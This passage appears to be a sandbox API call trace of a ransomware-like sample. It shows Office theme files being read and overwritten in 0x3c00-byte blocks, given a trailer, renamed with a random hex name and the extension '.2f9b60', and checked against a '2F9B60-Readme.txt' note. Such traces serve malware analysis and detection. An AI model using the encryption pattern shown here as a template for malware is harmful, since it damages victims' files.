[0110.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0110.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0110.902] NtQuerySystemTime (in: CurrentTime=0x1f37fba0 | out: CurrentTime=0x1f37fba0*=132462177163834000) returned 0x0 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x7f85d250 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0xfd8ed03 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x34d4d037 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x24270cf1 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x2eeb742f [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x6f6c11 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x59d7f149 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x2eeb742f [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x27437e54 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x559605d2 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x56118796 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x61ea16f5 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x517de1c8 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x5ef0436a [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x42545c02 [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x129aab4f [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x2a82b98b [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x130b73fd [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x48134d1c [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x57c27e4a [0110.902] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x87fbdbf [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x29270015 [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x1a5ef05 [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x3d5f7ad4 [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x73d28dd8 [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x73456198 [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x12edf9d2 [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x7183905c [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x4368c459 [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x14ccaed5 [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x7a7090b1 [0110.903] RtlRandomEx (in: Seed=0x1f37fb90 | out: Seed=0x1f37fb90) returned 0x7c98057f [0110.916] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.916] ReadFile (in: hFile=0x1574, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f37fc00, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x1f37fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0110.919] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0110.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c40) returned 1 [0110.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0110.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0110.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0110.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ac0) returned 1 [0110.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.920] WriteFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f37fc00, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x1f37fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0110.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.925] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0xf3c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.925] ReadFile (in: hFile=0x1574, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f37fc00, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x1f37fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0110.939] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0xf3c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0110.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ac0) returned 1 [0110.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e84990 [0110.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0110.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0110.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0110.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.940] WriteFile (in: hFile=0x1574, lpBuffer=0x41e84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f37fc00, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesWritten=0x1f37fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0110.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0110.943] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x1dcb21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.943] ReadFile (in: hFile=0x1574, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f37fc00, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x1f37fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0110.944] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x1dcb21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0110.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0110.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e84990 [0110.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0110.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0110.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0110.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.945] WriteFile (in: hFile=0x1574, lpBuffer=0x41e84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f37fc00, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesWritten=0x1f37fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0110.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0110.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced97f0 [0110.949] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.949] WriteFile (in: hFile=0x1574, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x1f37fcb0, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x1f37fcb0*=0x14a, lpOverlapped=0x0) returned 1 [0110.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0110.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0110.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0110.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0110.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0110.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7580) returned 1 [0110.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f070 [0110.952] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="bd") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="42") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="e4") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="6d") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="9a") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="86") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="15") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="89") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="19") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="a3") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="40") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="66") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="03") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="6c") returned 2 [0110.952] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="95") returned 2 [0110.953] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="2f") returned 2 [0110.953] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="d3") returned 2 [0110.953] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="ef") returned 2 [0110.953] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="d5") returned 2 [0110.953] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="6f") returned 2 [0110.953] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="b9") returned 2 [0110.953] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="f5") returned 2 [0110.953] sprintf (in: _Dest=0x1cd9f09c, _Format="%c%c" | out: _Dest="44") returned 2 [0110.953] sprintf (in: _Dest=0x1cd9f09e, _Format="%c%c" | out: _Dest="42") returned 2 [0110.953] RtlInitAnsiString (in: DestinationString=0x1f37fd28, SourceString="bd42e46d9a86158919a34066036c952fd3efd56fb9f54442" | out: DestinationString="bd42e46d9a86158919a34066036c952fd3efd56fb9f54442") [0110.953] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f37fcf8, SourceString="bd42e46d9a86158919a34066036c952fd3efd56fb9f54442", AllocateDestinationString=1 | out: DestinationString="bd42e46d9a86158919a34066036c952fd3efd56fb9f54442") returned 0x0 [0110.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0110.953] wcscat (in: _Dest=0x20279a30, _Source="bd42e46d9a86" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\bd42e46d9a86") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\bd42e46d9a86" [0110.953] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\bd42e46d9a86.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\bd42e46d9a86.2f9b60" [0110.953] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\bd42e46d9a86.2f9b60", NtPathName=0x1f37fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\bd42e46d9a86.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776af0 [0110.954] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x1f37fd70, FileInformation=0x1b776af0, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0110.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.955] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x1f37fd38, FileInformation=0x1f37fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f37fd38, FileInformation=0x1f37fd48) returned 0x0 [0110.955] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x1f37fd38, FileInformation=0x1f37fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0110.957] FlushFileBuffers (hFile=0x1574) returned 1 [0110.959] CloseHandle (hObject=0x1574) returned 1 [0110.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.960] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.960] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64b00) returned 1 Thread: id = 1064 os_tid = 0x1748 [0110.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0110.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx", dwFileAttributes=0x20) returned 1 [0110.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0110.923] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x333ff6a0 | out: lpFileSize=0x333ff6a0*=314017) returned 1 [0110.923] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x4ca9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.923] ReadFile (in: hFile=0x15e0, lpBuffer=0x333ff620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x333ff668, lpOverlapped=0x0 | out: lpBuffer=0x333ff620*, lpNumberOfBytesRead=0x333ff668*=0x4, lpOverlapped=0x0) returned 1 [0110.926] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0110.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0110.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0110.927] NtQuerySystemTime (in: CurrentTime=0x333ff560 | out: CurrentTime=0x333ff560*=132462177163990000) returned 0x0 [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x19460001 [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x1f931538 [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x45a87a39 [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x5ce0092c [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x20eded2b [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x4bfd93c [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x664c8872 [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x10622d41 [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x1411ced0 [0110.927] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x4b37ec74 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x23155900 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x536cef09 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x9cf6e2b [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x308d389 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x76e35866 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x3f1e9d7c [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x5098854a [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x5429f524 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x79e6c68b [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x316be6af [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x769a4717 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x5a88886d [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0xdbd42c7 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x42a23178 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x6d04a9af [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x55ac1166 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x4a77c62b [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x535bbb34 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x745b4f78 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x2403c887 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x11386901 [0110.928] RtlRandomEx (in: Seed=0x333ff550 | out: Seed=0x333ff550) returned 0x3a94687c [0110.937] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.937] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x333ff5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x333ff5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.941] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0110.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0110.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0110.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0110.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0110.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.942] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x333ff5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x333ff5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.945] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.945] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x333ff5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x333ff5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.946] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0110.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0110.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0110.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0110.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0110.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.947] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x333ff5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x333ff5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.949] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x48ea1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.949] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x333ff5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x333ff5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.958] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x48ea1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.958] RtlAllocateHeap (HeapHandle=0xa0000, 